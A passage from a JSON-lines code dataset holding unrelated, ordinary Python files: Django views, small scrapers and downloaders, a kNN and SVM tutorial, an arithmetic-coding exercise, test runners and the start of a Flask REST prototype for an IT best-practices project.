)\r\n","sub_path":"house_price_prediction.py","file_name":"house_price_prediction.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"519089363","text":"# PyObject modules\nfrom PyObject.argument import Argument\nfrom PyObject.tools import Tools\nfrom PyObject.docString import DocString\nfrom PyObject.pyObject import PyObject\n\n# Others modules\nfrom re import search\n\nclass Method(PyObject):\n\t\"\"\"\n\t\tMethod Object\n\t\t=============\n\n\t\tRepresent a method in Python, so can create it automaticaly.\n\t\"\"\"\n\n\tdef __init__(self, name = None, args = None, returnValue = None, metaclass = None, contains = None, description=None):\n\t\t\"\"\"\n\t\t\tConstructor of the object Method\n\n\t\t\t:param self: Ref to the object themself\n\t\t\t:type self: Method\n\t\t\"\"\"\n\n\t\t# Properties\n\t\tself._name = None\n\t\tself._args = None\n\t\tself._return = None\n\t\tself._metaclass = None\n\t\tself._contains = None\n\t\tself._description = None\n\n\t\t# Set properties\n\t\tself._set_name(name)\n\t\tself._set_args(args)\n\t\tself._set_return(returnValue)\n\t\tself._set_metaclass(metaclass)\n\t\tself._set_contains(contains)\n\t\tself._set_description(description)\n\n\t\t# Set inherited\n\t\tPyObject.__init__(self, \"Method\")\n\n\tdef getObject(self, tab = 0):\n\n\t\t# Contains the text to write\n\t\ttext = []\n\n\t\t# Creating the metaclass if is not null\n\t\tif self._metaclass is not None:\n\t\t\tline = \"\"\n\t\t\tfor metaclass in self._metaclass:\n\t\t\t\tline += Tools.tab(tab) + \"@\" + metaclass\n\t\t\ttext.append(line)\n\n\t\t# Creating the title of the method and the args\n\t\tif self._name is None:\n\t\t\tname = \"_NAME_\"\n\t\telse:\n\t\t\tname = self._name\n\n\t\tline = Tools.tab(tab) + \"def \" + name + \"(\"\n\t\tif self._args is not None:\n\t\t\targs = []\n\t\t\tfor arg in self._args:\n\t\t\t\targs.append(arg.GetObject())\n\t\t\tline += \", \".join(args)\n\n\t\tline += \"):\"\n\t\ttext.append(line)\n\n\t\t# Adding the docstring\n\t\ttext += DocString.method(self, tab=tab + 1)\n\n\t\t# Creating the contains if is not null\n\t\tif self._contains is not None:\n\t\t\tfor txt in self._contains:\n\t\t\t\ttext.append(Tools.tab(tab + 1) + txt)\n\n\t\t# Creating the return if is not null\n\t\tif self._return is not None:\n\t\t\ttext.append(\"\\n\" + Tools.tab(tab + 1) + \"# Return _RETURNDESC_\")\n\t\t\ttext.append(Tools.tab(tab + 1) + \"return \" + \", \".join(self._return))\n\n\t\t# Check if the method is null, if it be, write break to leave the method\n\t\tif self._return is None and self._contains is None:\n\t\t\ttext.append(Tools.tab(tab + 1) + \"pass\")\n\n\t\t# Return the text containing the method\n\t\treturn text + [\"\"]\n\n\t# Accessors\n\n\tdef _get_name(self):\n\n\t\treturn self._name\n\n\tdef _get_args(self):\n\n\t\treturn self._args\n\n\tdef _get_return(self):\n\n\t\treturn self._return\n\n\tdef _get_metaclass(self):\n\n\t\treturn self._metaclass\n\n\tdef _get_contains(self):\n\n\t\treturn self._contains\n\n\tdef _get_description(self):\n\n\t\treturn self._description\n\n\tdef _set_name(self, value):\n\n\t\tif type(value) == str and search(\"[0-9]+\", value) is None and len(value) != 0:\n\t\t\tself._name = value\n\n\t\treturn self._name\n\n\tdef _set_args(self, value):\n\n\t\tif type(value) == list and Tools.listType(value, Argument) and len(value) != 0:\n\t\t\tself._args = value\n\n\t\treturn self._args\n\n\tdef _set_return(self, value):\n\n\t\tif type(value) == list and Tools.listType(value, str) and len(value) != 0:\n\t\t\tself._return = value\n\n\t\treturn self._return\n\n\tdef _set_metaclass(self, value):\n\n\t\tif type(value) == list and Tools.listType(value, str) and len(value) != 0:\n\t\t\tself._metaclass = value\n\n\t\treturn self._metaclass\n\n\tdef _set_contains(self, value):\n\n\t\tif type(value) == list and Tools.listType(value, str) and len(value) != 0:\n\t\t\tself._contains = value\n\n\t\treturn self._contains\n\n\tdef _set_description(self, value):\n\n\t\tif type(value) == list and Tools.listType(value, str) and len(value) != 0:\n\t\t\tself._description = value\n\n\t\treturn self._description\n\n\tname = property(_get_name, _set_name)\n\targs = property(_get_args, _set_args)\n\treturnValue = property(_get_return, _set_return)\n\tmetaclass = property(_get_metaclass, _set_metaclass)\n\tcontains = property(_get_contains, _set_contains)\n\tdescription = property(_get_description, _set_description)","sub_path":"build/lib/PyObject/method.py","file_name":"method.py","file_ext":"py","file_size_in_byte":3834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"275347203","text":"def newlog():\n # try to append to the file\n fa = open(\"log.log\",\"w\")\n fa.write(\"-------- LOG FILE --------\")\n fa.close()\n #break\n\ndef log(text):\n try:\n # try to append to the file\n fa = open(\"log.log\",\"a\")\n fa.write(\"\\n\"+text)\n fa.close()\n #break\n except:\n # otherwise replace the file\n fw = open(\"log.log\",\"a\")\n fw.write(\"dsgfh\")\n fw.write(\"\\n\"+text)\n fw.close()\n","sub_path":"telegram-submission/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"448290426","text":"from kNN import *\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\nif __name__ == '__main__':\n\n # kNN calc distanse\n group, labels = createDataSet()\n print(group)\n print(labels)\n ret = classify0([0, 0], group, labels, 3)\n print(ret)\n\n # calc dating\n datingDataMat, datingLabels = file2matrix('datingTestSet2.txt')\n print(datingDataMat)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.scatter(datingDataMat[:, 1], datingDataMat[:, 2], 15.0*array(datingLabels), 15.0* array(datingLabels))\n #plt.show()\n\n # autonorm\n normMat, ranges, minVals = autoNorm(datingDataMat)\n print(normMat)\n\n # dating test\n #datingClassTest()\n #classifyPerson()\n\n # handwriting \n handwritingClassTest()\n","sub_path":"Ch02/mytest.py","file_name":"mytest.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"88205944","text":"import os\nimport json\nimport time\nimport random\nimport requests\nfrom multiprocessing import cpu_count\nfrom concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor\n\nstart = time.time()\n\n\nclass pixivic:\n image_path = ''\n\n def __init__(self, root, min_time=0, max_time=1):\n self.headers = {\n 'referer': 'https://www.pixiv.net/'\n }\n self.root = root\n self.min_time = min_time\n self.max_time = max_time\n\n def get_list(self, data):\n self.image_path = f'{self.root}/{data[\"type\"]}/{data[\"title\"]}'\n os.makedirs(self.image_path, exist_ok=True)\n self.save_image(data['artistPreView']['avatar'], '_avatar')\n if len(data) == 1:\n self.save_image(data[0]['original'])\n else:\n with ThreadPoolExecutor(max_workers=cpu_count()) as thread:\n for key, val in enumerate(data['imageUrls']):\n thread.submit(self.save_image, val['original'], str(key + 1))\n\n def save_image(self, url, file_name='only'):\n with open(f'{self.image_path}/{file_name}{os.path.splitext(url)[1]}', 'wb') as f:\n f.write(requests.get(url, headers=self.headers).content)\n print(f'成功下载 {url}')\n time.sleep(random.randint(self.min_time, self.max_time))\n\n\nif __name__ == '__main__':\n current_path = os.getcwd() + '/images'\n all_data = json.loads(requests.get('https://pix.ipv4.host/ranks',\n {'page': 1, 'date': '2020-12-12', 'mode': 'day', 'pageSize': 200}).text)['data']\n # print(p.data)\n with ProcessPoolExecutor(max_workers=cpu_count()) as t:\n pool_out_puts = t.map(pixivic(current_path).get_list, all_data)\n end = time.time()\n print(f'耗时:{end - start}s')\n","sub_path":"Reptiles/pixivic.py","file_name":"pixivic.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"372265603","text":"from math import log, ceil\n\n# le codage se fera dans l'intervalle [0, MAX[\nMAX = 2**32 # une puissance de 2\nTAILLE = 32 # le log_2 de MAX\nFINI = 0\n\n# calcule un intervalle reduit (i.e. plus grand !!)\n# sortie : r, debut, fin\n# r = 0 si on zoome sur la partie gauche\n# r = 1 si on zoome sur la partie droite\n# r = 2 si on zoome au centre\n# r = -1 si aucune reduction n'etait possible\ndef reduire_intervalle(debut, fin):\n if fin < MAX // 2:\n debut *= 2\n fin *= 2\n return 0, debut, fin\n elif debut >= MAX // 2:\n debut *= 2\n fin *= 2\n debut -= MAX\n fin -= MAX\n return 1, debut, fin\n elif (debut >= MAX // 4) and (fin <= 3 * MAX // 4):\n debut *= 2\n fin *= 2\n debut -= MAX // 2\n fin -= MAX // 2\n return 2, debut, fin\n else: # pas de re'duction possible\n return -1, debut, fin\n\ndef lire01(fichier):\n global FINI\n c = fichier.read(1)\n while ((c != '') and (c != '0') and (c != '1')):\n c = fichier.read(1)\n if (c == ''):\n FINI += 1\n return 0\n elif (c == '0'):\n return 0\n else: # c = '1'\n return 1\n\n# dans une source dont les lettres sont classe'es par ordre de\n# probabilite' cumule'e croissante, retourne la plus petite lettre\n# dont la probabilite' cumule'e est >= x\ndef chercher(x, source_ord):\n i, j = 0, len(source_ord)\n while j - i > 1:\n k = (i + j) // 2\n if source_ord[k][2] > x:\n j = k\n else:\n i = k\n return i\n\ndef decoder(entree, sortie, source):\n global FINI\n FINI = 0 # variable globale comptant le nombre de lire01() apre`s\n # la fin de fichier\n TOTAL = source[''][1]\n # on trie la source par probabilite' cumule'e croissante\n source_ord = [[c, source[c][0], source[c][1]] for c in source]\n from operator import itemgetter\n # tri en place par rapport a` la troisie`me coordonne'e\n source_ord.sort(key=itemgetter(2))\n\n f = open(entree, 'r')\n g = open(sortie, 'w')\n debut, fin = 0, MAX\n compteur = 0\n tampon = 0\n for i in range(TAILLE):\n tampon = 2 * tampon + lire01(f)\n while True:\n delta = fin - debut\n i = chercher(((tampon - debut) * TOTAL) // delta, source_ord);\n fin = debut + (((source_ord[i][2] + source_ord[i][1]) * delta) // TOTAL)\n if fin <= tampon: # possible a` cause des arrondis\n i += 1;\n fin = debut + (((source_ord[i][2] + source_ord[i][1]) * delta) // TOTAL)\n debut = debut + ((source_ord[i][2] * delta) // TOTAL)\n g.write(source_ord[i][0])\n r, debut, fin = reduire_intervalle(debut, fin)\n while r != -1:\n b = lire01(f)\n tampon = (tampon * 2 + b) % MAX\n if (r == 0) or (r == 1):\n compteur = 0\n else: # r = 2\n compteur += 1\n tampon ^= 2**(TAILLE-1)\n r, debut, fin = reduire_intervalle(debut, fin)\n if (FINI > 0) and (TAILLE - FINI <= compteur + 2):\n break\n g.close()\n f.close()\n\ndef coder(entree, sortie, source):\n TOTAL = source[''][1]\n f = open(entree, 'r')\n g = open(sortie, 'w')\n\n # ???\n\n f.close()\n g.close()\n","sub_path":"TD3/arith_inter.py","file_name":"arith_inter.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"421983865","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404\nfrom django.urls import reverse\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import loader\nfrom django.utils.translation import gettext_lazy as _\n\nfrom hier.models import Folder\nfrom hier.utils import get_base_context, get_folder_id\nfrom .models import Apart, Meter, Price, Bill, deactivate_all, set_active\nfrom .forms import ApartForm\nfrom .convert import convert_old_data\n\n\n#----------------------------------\n@login_required(login_url='account:login')\n#----------------------------------\ndef apart_param(request):\n return HttpResponseRedirect(reverse('apart:apart_list'))\n\n#----------------------------------\n@login_required(login_url='account:login')\n#----------------------------------\ndef apart_list(request):\n data = Apart.objects.filter(user = request.user.id).order_by('name')\n folder_id = get_folder_id(request.user.id)\n context = get_base_context(request, folder_id, 0, _('apartments'), 'content_list')\n context['page_obj'] = data\n template_file = 'apart/apart_list.html'\n template = loader.get_template(template_file)\n return HttpResponse(template.render(context, request))\n\n#----------------------------------\ndef apart_add(request):\n if (request.method == 'POST'):\n form = ApartForm(request.POST)\n else:\n form = ApartForm(initial = { 'name': '', 'addr': '', 'active': False, 'has_gas': True })\n return show_page_form(request, 0, _('creating a new apartment'), form)\n\n#----------------------------------\ndef apart_form(request, pk):\n data = get_object_or_404(Apart.objects.filter(id = pk, user = request.user.id))\n if (request.method == 'POST'):\n form = ApartForm(request.POST, instance = data)\n else:\n form = ApartForm(instance = data)\n return show_page_form(request, pk, _('apartment') + ' \"' + data.name + '\"', form)\n\n#----------------------------------\n@login_required(login_url='account:login')\n#----------------------------------\ndef apart_del(request, pk):\n apart = get_object_or_404(Apart.objects.filter(id = pk, user = request.user.id))\n if Communal.objects.filter(apart = apart.id).exists():\n set_active(request.user.id, apart.id)\n return HttpResponseRedirect(reverse('apart:apart_list'))\n\n if apart.active:\n if Apart.objects.filter(user = request.user.id).exclude(id = apart.id).exists():\n new_active = Apart.objects.filter(user = request.user.id).exclude(id = apart.id)[0]\n set_active(request.user.id, new_active.id)\n\n apart.delete()\n return HttpResponseRedirect(reverse('apart:apart_list'))\n\n\n#----------------------------------\n@login_required(login_url='account:login')\n#----------------------------------\ndef show_page_form(request, pk, title, form):\n if (request.method == 'POST'):\n if form.is_valid():\n data = form.save(commit = False)\n if data.active:\n deactivate_all(request.user.id, data.id)\n data.user = request.user\n form.save()\n if not pk and data.active and not Price.objects.all().exists():\n convert_old_data(request.user, data)\n return HttpResponseRedirect(reverse('apart:apart_list'))\n folder_id = get_folder_id(request.user.id)\n context = get_base_context(request, folder_id, pk, title)\n context['form'] = form\n template = loader.get_template('apart/apart_form.html')\n return HttpResponse(template.render(context, request))\n","sub_path":"apart/v_apart.py","file_name":"v_apart.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"443816618","text":"from django.shortcuts import render,redirect, get_object_or_404\nfrom django.contrib.auth import login, logout\n\nfrom .forms import RegisterForm\nfrom .models import User\n\n# Create your views here.\ndef register(request):\n message = 'Please, register.'\n if request.method == 'POST':\n form = RegisterForm(request.POST)\n if form.is_valid():\n user = User.objects.create_user(\n email = form.cleaned_data.get('email'),\n password = form.cleaned_data.get('password2')\n )\n login(request, user)\n return redirect('profile', id=user.id)\n else:\n form = RegisterForm()\n template = 'accounts/register.html'\n context = {\n 'form': form,\n 'message': message,\n }\n return render(request, template, context)\n \ndef profile(request, id):\n if not request.user.is_authenticated:\n return redirect('index')\n user = get_object_or_404(User, pk=id)\n return render(request, 'accounts/profile.html', {'user': user})\n\ndef logout_view(request):\n logout(request)\n return redirect('index')\n","sub_path":"src/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"219066320","text":"# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other\n# Spack Project Developers. See the top-level COPYRIGHT file for details.\n#\n# SPDX-License-Identifier: (Apache-2.0 OR MIT)\nfrom spack.package import *\n\n\nclass VariantOnDependencyConditionA(Package):\n \"\"\"Test that dependencies that are conditional on the state of\n other dependencies are added correctly, for instance:\n\n depends_on('A')\n depends_on('B', when='^A+x')\n \"\"\"\n\n homepage = \"https://www.example.org\"\n url = \"https://example.org/files/v3.4/cmake-3.4.3.tar.gz\"\n\n version(\"1.0\", \"4cb3ff35b2472aae70f542116d616e63\")\n\n variant(\"x\", default=True, description=\"?\")\n","sub_path":"var/spack/repos/builtin.mock/packages/variant-on-dependency-condition-a/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"329872318","text":"from django.shortcuts import render\nfrom django.views import generic\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.db.models import Sum ,Q\nfrom applications.ventas.models import FacturaEnc , FacturaDet ,Cliente\nfrom applications.productos.models import Producto\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth.models import User\n# Create your views here.\nfrom django.contrib.auth.mixins import LoginRequiredMixin,\\\n PermissionRequiredMixin\n\n\n\n\n\nclass SinPrivilegios(LoginRequiredMixin, PermissionRequiredMixin):\n raise_exception=False\n login_url = 'bases:login'\n raise_exception=False\n redirect_field_name=\"redirecto_to\"\n\n def handle_no_permission(self):\n from django.contrib.auth.models import AnonymousUser\n if not self.request.user==AnonymousUser():\n self.login_url='bases:sin_privilegios'\n return HttpResponseRedirect(reverse_lazy(self.login_url))\n\n\nclass Home(LoginRequiredMixin,generic.TemplateView):\n template_name='bases/home.html'\n login_url='bases:login'\n\nclass HomeSinPrivilegios(LoginRequiredMixin, generic.TemplateView):\n login_url = \"bases:login\"\n template_name=\"bases/sin_privilegios.html\"\n\n\ndef Dashboard(request):\n template_name='bases/dashboard.html'\n context={}\n \n prods=Producto.objects.all().count()\n ultimos_prod=Producto.objects.all().order_by('-fc')[:3]\n\n facs=FacturaEnc.objects.aggregate(Sum('total'))\n \n if facs['total__sum'] is None:\n facs['total__sum']=0\n else:\n pass\n\n total_ventas=facs['total__sum']\n ventas_registradas=FacturaEnc.objects.count()\n users=User.objects.all()\n client=Cliente.objects.all().count()\n \n mv=FacturaDet.objects.values('producto__nombre' ,'producto__codigo').annotate(Sum('cantidad'))\n sinstock=Producto.objects.filter(existencia=0)\n\n \n valores=[]\n for objeto in Producto.objects.all():\n sm=objeto.sm\n if sm != None:\n if objeto.existencia < objeto.sm and objeto.existencia>0:\n queryset=Producto.objects.filter(Q(existencia__lt = sm ) & Q(existencia__gt = 0 ) )\n valores.append(queryset)\n if len(valores)==0:\n val=[0]\n elif len(valores)!=0:\n val=valores[0]\n #def UltimosMovimientos():\n ultimas_mod=Producto.objects.all().order_by('-fm')[:5]\n print(ultimas_mod)\n\n \n context={\n 'prods':prods,\n 'facs':total_ventas,\n 'users':users,\n 'client':client,\n 'up':ultimos_prod,\n 'mv':mv,\n 'ss':sinstock,\n 'sm':val,\n 'um':ultimas_mod,\n 'vr':ventas_registradas,\n }\n\n return render(request, template_name, context)\n","sub_path":"applications/bases/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"17397269","text":"__author__ = 'Administrator'\n#coding:utf-8\nimport HTMLTestRunner,unittest,os,sys,time\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ndef suite():\n dir_case=unittest.defaultTestLoader.discover('./testcase/',pattern='*_test.py',top_level_dir=None)\n return dir_case\n\ndef getnowtime():\n return time.strftime(\"%Y-%m-%d %H_%M_%S\",time.localtime(time.time()))\n\ndef runAutomation():\n filename='./report/'+getnowtime()+'TestReport.html'\n fp=file(filename,'wb')\n runner=HTMLTestRunner.HTMLTestRunner(stream=fp,title=u\"自动化测试报告\",description=u\"自动化测试报告详细信息\")\n runner.run(suite())\n\n\nif __name__ == '__main__':\n runAutomation()","sub_path":"alltest.py","file_name":"alltest.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"267960622","text":"import selenium\nimport requests\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\n#from selenium.webdriver.support.ui import Select\nfrom bs4 import BeautifulSoup\nfrom selenium.common.exceptions import NoSuchElementException\nimport math\nimport re\nfrom multiprocessing import Process\n\ndef load_search():\n while True:\n try:\n driver.execute_script(\"window.history.go(-1)\")\n if driver.current_url != 'https://www.elperiodico.com/es/buscador?size=15&query='+ word + '&rt=ZetaNews&video=false&order=score':\n driver.get('https://www.elperiodico.com/es/buscador?size=15&query='+ word + '&rt=ZetaNews&video=false&order=score')\n break\n except:\n pass\n print(\"searching for articles with the word \"+ word + 'in https://www.elperiodico.com/es/buscador?size=15&query='+ word + '&rt=ZetaNews&video=false&order=score')\n #hide element obscuring website\n while True: \n try: \n time.sleep(0.5)\n driver.find_element_by_class_name(\"qc-cmp-button\").click()\n break\n except: \n break\n\ndef load_articles():\n while True:\n try:\n articles = driver.find_elements_by_class_name(\"thumb\")\n break\n except:\n print('no results found for ' + word + '. running the search again')\n pass\n return articles\n\ndef get_and_find_words(link,l,t):\n url = link\n r = requests.get(url)\n soup = BeautifulSoup(r.text, 'html.parser')\n title = soup.find(\"h1\", {\"class\": \"title\"})\n article = soup.find(\"div\", {\"class\": \"ep-detail-body\"})\n article_text = article.findAll('p')\n with open('corpus.txt', 'a+') as c:\n c.write(\"[[\" + str(t) + \"--\" + str(l) + \"]]\")\n c.write(\"\\n\")\n c.write(title.text)\n c.write(\"\\n\")\n for p in article_text:\n try:\n if len(p.text) != 0 and p.text not in c:\n c.write(p.text)\n except:\n pass\n c.write(\"\\n link: \"+str(url))\n time.sleep(1)\n\ndef link_read(links_p, t):\n for l in range(len(links_p)):\n print(links_p[l])\n get_and_find_words(links_p[l],l,t)\n time.sleep(0.5)\n\nif __name__ == '__main__':\n \n firefox_options = Options()\n firefox_options.add_argument(\"--headless\")\n #path for the web driver\n driver = webdriver.Firefox(executable_path='d:/carl/geckodriver.exe', options=firefox_options)\n driver.set_window_size(1920, 1080)\n word = 'brexit'\n p_in_text = []\n load_search()\n load_more = 100\n while True:\n if load_more > 1:\n try:\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\") \n cargarmas = driver.find_element_by_class_name(\"cargarmas\")\n cargarmas.click()\n cargarmas.click()\n print('loading more articles')\n load_more = load_more-1\n except: \n break\n else:\n break\n \n articles = load_articles()\n list_links = []\n for a in range(len(articles)):\n print(len(articles))\n print(a)\n print(articles[a])\n try:\n link = articles[a].find_element_by_css_selector('a').get_attribute('href')\n list_links.append(link)\n print(len(list_links))\n except:\n pass\n\n driver.quit()\n\n def tally_split(link_tally):\n links_p = []\n tally_ls = math.floor(len(list_links)/link_tally)\n for l in range(link_tally):\n links_p.append(list_links[:tally_ls])\n del list_links[0:tally_ls]\n return links_p\n\n link_tally = math.floor(len(list_links)/5)\n if link_tally < 1 and len(list_links) != 0:\n link_tally = 1\n links_p = tally_split(link_tally)\n elif link_tally > 1:\n links_p = tally_split(link_tally)\n \n for t in range(link_tally):\n t = Process(target = link_read, args=(links_p[t],t))\n t.start()\n","sub_path":"publico_brexit_scrap.py","file_name":"publico_brexit_scrap.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"297180348","text":"import datetime\nimport math\n\nDEADLINE = datetime.datetime(2015, 6, 15, 16, 00, 00, 00)\n\nnow = datetime.datetime.now()\ntogo = DEADLINE - now\n\ndays = togo.days\nhours = math.floor(togo.seconds / 3600)\nminutes = math.floor(togo.seconds / 60) % 60\nseconds = togo.seconds % 60\n\nif togo.total_seconds() > 0:\n print(days, 'days')\n print(hours, 'hours')\n print(minutes, 'minutes')\n #print(seconds, 'seconds')\nelse:\n print('FEESTJE!')\n print('DANSEN!')\n print('DANSEN!')\n","sub_path":"countdown.py","file_name":"countdown.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"645410778","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.3'\n# jupytext_version: 1.0.2\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# # Part 1: SVMの原理\n# まずは、SVMのおおまかな原理を掴んでいきましょう。\n\nfrom IPython.display import Image\nurl = 'https://upload.wikimedia.org/wikipedia/commons/2/20/Svm_separating_hyperplanes.png'\nImage(url, width=450)\n\n# # Part 2: カーネル法\n# いつも超平面で分離できるとは限りません。そんな時、役に立つのがカーネル法と呼ばれる、工夫です。\n\n# 特徴量空間におけるカーネルトリック\nurl='http://i.imgur.com/WuxyO.png'\nImage(url)\n\n# カーネル法がよく分かる動画です。\nfrom IPython.display import YouTubeVideo\nYouTubeVideo('3liCbRZPrZA')\n\n# # Part 3: その他の資料\n# 英語になってしまいますが、その他の資料を挙げておきます。\n\n# MITの講義\nYouTubeVideo('_PwhiWxHK8o')\n\n# # Part 4: scikit-learnを使ったSVMの実際\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nfrom sklearn import datasets\n\niris = datasets.load_iris()\n\nX = iris.data\n\nY = iris.target\n\nprint(iris.DESCR)\n\nfrom sklearn.svm import SVC\n\nmodel = SVC()\n\nfrom sklearn.model_selection import train_test_split\n\nX_train , X_test, Y_train, Y_test = train_test_split(X,Y,random_state =0)\n\nmodel.fit(X_train,Y_train)\n\npredicted = model.predict(X_test)\n\npredicted\n\nfrom sklearn import metrics\n\nexpected = Y_test\n\nprint(metrics.accuracy_score(expected,predicted))\n\n# 非常に高い予測精度が得られました。\n#\n# デフォルトでは、RBFカーネルが使われています。\n#\n# それぞれのカーネルの違いをscikit-learnのドキュメントに詳しく載っています。\n#\n# これを自分で作る方法を書いておきますので、興味がある方はやってみてください。\n\n# +\nfrom sklearn import svm\n\n#図示できるのが二次元までなので、変数を2つに絞ります。\nX = iris.data[:,:2]\nY = iris.target\n# -\n\n#SVMの正則化パラメータ\nC = 1.0\n\n#SVC with a Liner Kernel\nsvc = svm.SVC(kernel='linear', C=C).fit(X,Y)\n\n# Gaussian Radial Bassis Function\nrbf_svc = svm.SVC(kernel='rbf', gamma=0.7, C=C).fit(X,Y)\n\n# SVC with 3rd degree polynomial\npoly_svc = svm.SVC(kernel='poly', degree=3, C=C).fit(X,Y)\n\n# SVC Linear\nlin_svc = svm.LinearSVC(C=C).fit(X,Y)\n\n# +\n# step size\nh = 0.02\n\n# X軸の最大最小\nx_min = X[:,0].min() - 1\nx_max = X[:,0].max() +1\n\n# Y軸の最大最小\ny_min = X[:,1].min() -1\ny_max = X[:,1].max() +1\n\n#meshgridを作ります。\nxx, yy = np.meshgrid(np.arange(x_min,x_max,h),np.arange(y_min,y_max,h))\n# -\n\ntitles = ['SVC with linear kernel',\n 'LinearSVC(linear kernel)',\n 'SVC with RBF kernel',\n 'SVC with polynomial(degree 3) kernel']\n\n# +\nfor i, clf in enumerate((svc, lin_svc, rbf_svc,poly_svc)):\n \n #境界線を描画します\n plt.figure(figsize=(15,15))\n plt.subplot(2,2,i+1)\n \n plt.subplots_adjust(wspace=0.4, hspace=0.4)\n \n Z = clf.predict(np.c_[xx.ravel(),yy.ravel()])\n Z = Z.reshape(xx.shape)\n \n plt.contourf(xx,yy,Z,cmap=plt.cm.terrain,alpha=0.5,linewidths=0)\n \n plt.scatter(X[:,0],X[:,1],c=Y,cmap=plt.cm.Dark2)\n \n plt.xlabel('Sepal length')\n plt.ylabel('Sepal width')\n plt.xlim(xx.min(), xx.max())\n plt.ylim(yy.min(),yy.max())\n plt.xticks(())\n plt.yticks(())\n plt.title(titles[i])\n \nplt.show()\n# -\n\n\n","sub_path":"Python_DataScience/.ipynb_checkpoints/lec82_83SVM-checkpoint.py","file_name":"lec82_83SVM-checkpoint.py","file_ext":"py","file_size_in_byte":3603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"2694886","text":"#!/usr/bin/python\n# vim: smartindent tabstop=4 shiftwidth=4 expandtab number\n#\n# This file is part of the IT Best Practices project and was derived\n# from a file which is part of the Assimilation Project.\n#\n# Author: Emily Ratliff \n# Author: Alan Robertson \n# Copyright (C) 2015 - Assimilation Systems Limited\n#\n# Free support is available from the Assimilation Project community - http://assimproj.org\n# Paid support is available from Assimilation Systems Limited - http://assimilationsystems.com\n#\n# The Assimilation software is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# The Assimilation software is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with the Assimilation Project software. If not, see http://www.gnu.org/licenses/\n#\n#\n'''\nPrototype code for providing a REST interface for the IT Best Practices project.\n'''\nimport sys\nimport os, os.path\nsys.path.append('..')\nfrom flask import Flask, request, render_template, json, Response, abort\nfrom werkzeug.utils import secure_filename\n\n#configuration\nDEBUG = False\nTESTING = False\nITBP_PATH = '/usr/share/itbp/v1.0/root/rules'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\napp.config.from_envvar('ITBP_SETTINGS', silent=True)\n\ndef validate_params(queryparms):\n '''Parse the input query to find the path\n Release and osname are optional components in the path\n osname, tipname, and release don't have postfixes\n tipname can have capitals\n I trust ITBP_PATH since it is set by the person running the server'''\n app_path = secure_filename(queryparms.get('app', '').lower()) + '.app'\n domain_path = secure_filename(queryparms.get('domain', '').lower()) + '.domain'\n class_path = secure_filename(queryparms.get('class', '').lower()) + '.class'\n os_path = secure_filename(queryparms.get('os', '').lower()) + '.os'\n osname_path = secure_filename(queryparms.get('osname', '').lower())\n release_path = secure_filename(queryparms.get('release', '').lower())\n tipname_path = secure_filename(queryparms.get('tipname', ''))\n response_path = os.path.join(app_path, domain_path, class_path, os_path)\n if not osname_path == \"\":\n response_path = os.path.join(response_path, osname_path)\n if not release_path == \"\":\n response_path = os.path.join(response_path, release_path)\n temp_path = os.path.join(response_path, tipname_path)\n response_path = os.path.normpath(temp_path)\n response_path = os.path.join(app.config['ITBP_PATH'], response_path)\n\n return response_path\n\n@app.route('/')\ndef hello_world():\n 'Dummy code for printing a static string on the root (/) page'\n return 'Nothing to see here... Move along!'\n\n@app.route('/itbp/v1.0/querymeta', methods=['GET'])\ndef query_meta():\n '''Dummy code for testing the 